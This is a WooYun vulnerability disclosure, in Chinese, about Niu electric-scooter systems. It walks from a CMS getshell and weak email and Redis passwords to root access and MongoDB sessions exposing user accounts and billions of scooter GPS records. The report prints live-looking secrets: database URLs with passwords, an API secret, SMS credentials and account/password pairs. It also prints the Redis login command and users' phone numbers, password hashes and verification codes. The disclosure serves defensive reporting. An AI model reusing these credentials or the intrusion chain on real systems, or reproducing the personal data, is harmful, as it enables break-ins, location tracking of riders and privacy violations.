当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158789

漏洞标题:从redis弱口令到小牛核心数据库

相关厂商:niu.com

漏洞作者: 路人甲

提交时间:2015-12-06 14:19

修复时间:2016-01-20 16:10

公开时间:2016-01-20 16:10

漏洞类型:服务弱口令

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-06: 细节已通知厂商并且等待厂商处理中
2015-12-06: 厂商已经确认,细节仅向厂商公开
2015-12-16: 细节向核心白帽子及相关领域专家公开
2015-12-26: 细节向普通白帽子公开
2016-01-05: 细节向实习白帽子公开
2016-01-20: 细节向公众公开

简要描述:

小牛就是好,充电就能跑。
可惜这么好的车,我并不曾拥有,只能看看小牛官网望梅止渴了。在这个过程中多点了几下鼠标发现一些安全问题,一并汇总报告给乌云。

详细说明:

在开始之前多说一句,部分漏洞已经修复,只是为了让整个漏洞报告看起来更完整。
1. cms.niu.com 文件上传漏洞 -- 已修复
cms.niu.com 使用了 FineCMS,存在漏洞: WooYun: FIneCMS免费版无条件getshell (附poc脚本) ,可以直接获取 webshell

111.jpg


目前该漏洞已经修复,之所以提到是因为后面一些漏洞是由该漏洞引发。
偶然在 /data/xiaoniu/ 目录下发现一个文件,deploywebpm2.json,内容如下

{
"apps": [
{
"name": "niu-cloud-app",
"script": "./build/bundle/main.js",
"log_date_format": "YYYY-MM-DD",
"exec_mode": "fork_mode",
"env": {
"PORT": 3000,
"MONGO_OPLOG_URL": "mongodb://oplogger:[email protected]:27017/local?authSource=admin",
"MONGO_URL": "mongodb://xiaoniu:[email protected]:27017/niu",
"ROOT_URL": "http://app.cloud.niu.com/",
"KADIRA_APP_ID": "gzBCYpXzpC4ZFN9Qp",
"KADIRA_APP_SECRET": "926b902b-e669-4c74-b12a-eb67dd31e6de",
"NODE_ENV": "production",
"SMS_ACCOUNT_ID": "xiaon",
"SMS_ACCOUNT_PASS": "xiaoniu99",
"CLUSTER_WORKERS_COUNT": "auto"
}
}
]
}


看代码应该是小牛 app 的数据库配置文件,暂且不表,先看后面。
2. 邮箱弱口令
小牛使用了 263 的企业邮箱,简单测试存在两个弱口令

[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2014 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2015 bingo
[email protected] xiaoniu2014 bingo
[email protected] xiaoniu2014 bingo
……


大多使用了 xiaoniu2014 xiaoniu2015 这两个弱口令,通过邮箱弱口令发现一些小牛的 IP 123.57.190.83 10.251.200.254
3. 123.57.190.83 redis 弱口令
这个 IP 应该也是在 cms.niu.com 看到的,因为 cms.niu.com 漏洞已经修复,所以无法再次确认。
123.57.190.83 这个 IP 开放 redis 服务,并且启用了认证功能,测试发现存在弱口令 xiaoniu

$ redis-cli -h 123.57.190.83 -a xiaoniu
123.57.190.83:6379> echo 1
"1"
123.57.190.83:6379>


结合 redis 最近被报告出来的缺陷,通过备份文件到 authorized_keys 或者 cron 可以直接获取服务器的控制权限。
通过 http://zone.wooyun.org/content/23858 帖子中的方法可以反弹 shell

222.jpg


权限为 root
4. 10.251.200.254 redis 弱口令 -- 已修复
通过 123.57.190.83 对 10.251.200.254 测试发现同样存在 redis 弱口令 xiaoniu,目前已经修复。
用同样的方式可以获取 10.251.200.254 服务器的控制权限,发现该服务器为小牛用户数据库服务器,在服务器上找到 mongodb 数据库连接帐号和密码

sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.251.200.254 netmask 255.255.248.0 broadcast 10.251.207.255
ether 00:16:3e:00:0d:40 txqueuelen 1000 (Ethernet)
RX packets 1307284290 bytes 100992745203 (94.0 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1008699098 bytes 70265841719 (65.4 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
sh-4.2# mongo account -u account -p
MongoDB shell version: 3.0.6
Enter password:
connecting to: account
> show collections
system.indexes
system.profile
test
tokens
users
> db.users.stats()
{
"ns" : "account.users",
"count" : 235961,
"size" : 125590640,
"avgObjSize" : 532,
"numExtents" : 12,
"storageSize" : 174735360,
"lastExtentSize" : 50798592,
"paddingFactor" : 1,
"paddingFactorNote" : "paddingFactor is unused and unmaintained in 3.0. It remains hard coded to 1.0 for compatibility only.",
"userFlags" : 1,
"capped" : false,
"nindexes" : 3,
"totalIndexSize" : 31338608,
"indexSizes" : {
"_id_" : 12100480,
"phone.number_1_emails.address_1" : 11111184,
"services.bbs.username_1" : 8126944
},
"ok" : 1
}
> db.users.find().limit(5)
{ "_id" : ObjectId("5600306401d090c64a9f82d4"), "phone" : { "number" : "18600184498" }, "emails" : [ { "address" : "", "verified" : false } ], "createdAt" : ISODate("2015-07-24T12:47:43Z"), "services" : { "bbs" : { "uid" : "41266", "email" : "", "phone" : "18600184498", "username" : "雅馨102", "password" : "42287674bcdcd0b523608f57c36424cf", "salt" : "feee55", "status" : 1 }, "qq" : { "id" : "" }, "weibo" : { "id" : "" }, "wechat" : { "id" : "" }, "password" : { "salt" : "feee55", "bcrypt" : "42287674bcdcd0b523608f57c36424cf" }, "phone" : { "verify" : { "numOfRetries" : 1, "check_times" : 0, "code" : "4836", "phone" : "18600184498", "lastRetry" : ISODate("2015-10-06T06:04:51.065Z") } } }, "profile" : { } }
{ "_id" : ObjectId("5623657f058ccc5737bbf908"), "phone" : { "number" : "13901339198" }, "emails" : [ ], "createdAt" : ISODate("2015-10-18T04:22:54.690Z"), "username" : "", "__v" : 0, "services" : { "phone" : { "verify" : { "numOfRetries" : 1, "check_times" : 0, "code" : "3736", "phone" : "13924851930", "lastRetry" : ISODate("2015-10-18T09:25:19.991Z") } }, "password" : { "salt" : "1057906819760", "bcrypt" : "83fde35238bcf25454da44bdf269b770" } } }
{ "_id" : ObjectId("5623659a9cb9935c7dfc3a33"), "phone" : { "number" : "15917156004" }, "emails" : [ ], "createdAt" : ISODate("2015-10-18T04:22:48.885Z"), "username" : "", "__v" : 0, "services" : { "phone" : { "verify" : { "numOfRetries" : 1, "check_times" : 0, "code" : "4539", "phone" : "15917156004", "lastRetry" : ISODate("2015-10-18T09:25:46.624Z") } }, "password" : { "salt" : "1082386821103", "bcrypt" : "421612123d793d287a5619edd1ec62b9" } } }
{ "_id" : ObjectId("562365a60b9858937deefe73"), "phone" : { "number" : "15051906977" }, "emails" : [ ], "createdAt" : ISODate("2015-10-18T04:22:54.547Z"), "username" : "", "__v" : 0, "services" : { "phone" : { "verify" : { "numOfRetries" : 1, "check_times" : 0, "code" : "2891", "phone" : "15051906977", "lastRetry" : ISODate("2015-10-18T09:25:58.769Z") } }, "password" : { "salt" : "379527902157", "bcrypt" : "dc10e8b02a1377d41fe16494e12f1538" } } }
{ "_id" : ObjectId("562365ac5effe03537fe8d00"), "phone" : { "number" : "13924284310" }, "emails" : [ { "address" : "[email protected]", "_id" : ObjectId("5623660297c1ab69382b53df"), "verified" : false } ], "createdAt" : ISODate("2015-10-18T04:22:49.072Z"), "username" : "", "__v" : 0, "services" : { "phone" : { "verify" : { "numOfRetries" : 1, "check_times" : 0, "code" : "7165", "phone" : "13924284310", "lastRetry" : ISODate("2015-10-18T09:26:04.973Z") } }, "password" : { "salt" : "1365852077018", "bcrypt" : "d72e649838b273fbd63c96c6c3479565" } } }
>


数据库中有 23w 多用户,密码加盐加密存储。
5. 连接 app 数据库
在之前我们知道了 app 数据库的连接信息,发现有访问限制,但是通过 10.251.200.254 这台服务器却可以登录

sh-4.2# mongo 10.162.196.65:27017/niu -u xiaoniu -p
MongoDB shell version: 3.0.6
Enter password:
connecting to: 10.162.196.65:27017/niu
> show collections
cloud_inspect
meteor_accounts_loginServiceConfiguration
meteor_oauth_pendingCredentials
niu_dynamic
niu_everyday
niu_firmware
niu_gps
niu_gps2
niu_info
niu_product
niu_push
niu_status
niu_stolen
roles
system.indexes
system.profile
users
users_bak
users_bak2
> db.niu_gps.stats()
{
"ns" : "niu.niu_gps",
"count" : 2804434191,
"size" : 673064205840,
"avgObjSize" : 240,
"storageSize" : 718919002992,
"numExtents" : 356,
"nindexes" : 1,
"lastExtentSize" : 2146426864,
"paddingFactor" : 1,
"systemFlags" : 0,
"userFlags" : 1,
"totalIndexSize" : 127256496640,
"indexSizes" : {
"_id_" : 127256496640
},
"ok" : 1
}
>


果然存储了和电动车相关的数据,查看了 niu_gps 的数据信息,有 28 亿条记录之多。

> db.niu_gps.find().limit(1)
{ "_id" : ObjectId("559a56380cf214e8ec4d4cc0"), "prot_type" : "1", "sn_id" : "N12F471R1274BEKQ", "machine_status" : "E2,A12", "lat" : 31.709278, "lng" : 119.831214, "hdop" : 0, "date" : ISODate("2015-07-06T10:19:36.590Z") }


任意查询一条记录,可以获取到电动车的 sn_id,以及在某个时间点商的经纬度,根据经纬度可以获取到该电动车的实际地理位置。

333.jpg


根据这些数据,完全可以知道任意一辆电动车的位置,以及行车路线,以及等等等等。
以上过程仅仅是为了安全测试,没有做任何恶意操作,过程中获取的临时数据也已经删除。

漏洞证明:

如上

修复方案:

其实小牛对安全还是蛮重视的,主动发现问题并进行修复和加固,但是还是要提几点修复建议:
1. 使用开源软件要及时更新版本
2. 修复各处存在的弱口令,比如企业邮箱,redis 等

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-06 16:06

厂商回复:

非常感谢对小牛电动安全的关注,大周末马上联系运维解决。同时招聘人手..

最新状态:

暂无